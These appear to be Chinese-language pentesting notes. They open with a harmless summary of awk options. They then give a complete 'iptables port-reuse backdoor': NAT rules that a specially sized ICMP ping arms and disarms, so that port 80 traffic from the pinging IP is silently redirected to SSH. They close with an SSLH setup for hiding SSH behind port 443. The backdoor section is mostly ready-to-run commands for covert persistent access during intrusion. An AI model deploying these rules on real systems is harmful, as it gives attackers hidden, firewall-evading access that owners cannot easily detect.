awk
是linux/unix下的一个强大编程工具,他支持用户自定义函数和动态正则表达式,灵活性强,运行速度快。
awk处理过程: 依次对每一行进行处理,然后输出
常用命令
-F fs:fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:
-v var=value:赋值一个用户定义变量,将外部变量传递给awk
-f scripfile:从脚本文件中读取awk命令
iptables端口复用后门
1.实现原理
首先是要用到iptables防火墙,创建iptables规则,并使用ICMP包来触发该规则, 从而实现端口复用,最主要还是利用iptables的nat功能。
(1)创建端口复用链
iptables -t nat -N LETMEIN
(2)创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
(3)开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
(4)关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
(5)如果发现SYN包的来源IP处于letmein列表中,将跳转到LETMEIN链进行处理,有效时间为3600秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
(6)开启复用
ping -c 1 -s 1111 目标ip
(7)关闭复用
ping -c 1 -s 1112 目标ip
2.端口概念
端口复用是不同的应用程序使用相同的端口进行通讯,在内网渗透中,服务器仅允许指定的端口开放,利用端口复用可以把例如3389端口转发到80端口上进行外部连接
SSLH隐藏端口
1.下载SSLH
apt-get install sslh -y
2.配置SSLH
Default options for sslh initscript # sourced by /etc/init.d/sslh # binary to use: forked (sslh) or single-thread (sslh-select) version # systemd users: don't forget to modify /lib/systemd/system/sslh.service DAEMON=/usr/sbin/sslh DAEMON_OPTS="--user sslh --listen <change-me>:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid" #修改为 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
3.启动SSLH
systemctl start sslh
systemctl enable sslh
Synchronizing state of sslh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable sslh
Created symlink /etc/systemd/system/multi-user.target.wants/sslh.service → /lib/systemd/system/sslh.service.